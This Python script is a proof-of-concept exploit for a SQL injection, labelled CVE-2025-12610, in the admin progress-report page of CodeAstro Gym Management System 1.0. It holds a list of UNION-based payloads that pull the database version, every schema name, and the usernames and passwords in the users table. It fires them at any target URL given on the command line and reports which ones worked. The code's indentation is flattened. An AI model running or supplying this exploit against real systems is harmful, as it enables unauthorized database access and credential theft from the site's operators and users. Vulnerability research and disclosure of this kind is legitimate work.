import requests
import sys
# CVE-2025-12610 SQL Injection PoC
# Target: CodeAstro Gym Management System 1.0
# Vulnerability: SQL Injection in /admin/view-progress-report.php via ID parameter
def exploit_sql_injection(target_url):
"""
SQL Injection PoC for CVE-2025-12610
This exploits the ID parameter in view-progress-report.php
"""
# Base URL with the vulnerable endpoint
base_url = target_url.rstrip('/')
vuln_url = f"{base_url}/admin/view-progress-report.php"
# SQL Injection payloads
payloads = [
# Basic injection to confirm vulnerability
"1' OR '1'='1",
# UNION-based injection to extract database info
"1' UNION SELECT 1,2,3,4,5,version(),database(),8,9,10,11,12,13,14,15-- -",
# Extract user information
"1' UNION SELECT 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15 FROM users-- -",
# Extract all database names
"1' UNION SELECT 1,2,schema_name,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.schemata-- -"
]
print(f"[*] Target: {target_url}")
print(f"[*] Vulnerable URL: {vuln_url}")
print("[*] Starting SQL Injection test...\n")
for i, payload in enumerate(payloads, 1):
print(f"[*] Testing payload {i}/{len(payloads)}")
print(f"[*] Payload: {payload}")
# Construct the malicious request
params = {'id': payload}
try:
response = requests.get(vuln_url, params=params, timeout=10)
# Check for SQL error indicators
if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'error', 'mysql', 'warning']):
print("[+] VULNERABLE! SQL error detected in response")
print(f"[+] Status code: {response.status_code}")
return True
elif response.status_code == 200:
print("[*] Request successful, check response manually")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
print("\n[!] Exploitation complete. Verify results manually.")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-12610.py <target_url>")
print("Example: python cve-2025-12610.py http://target.com/gym/")
sys.exit(1)
target = sys.argv[1]
exploit_sql_injection(target)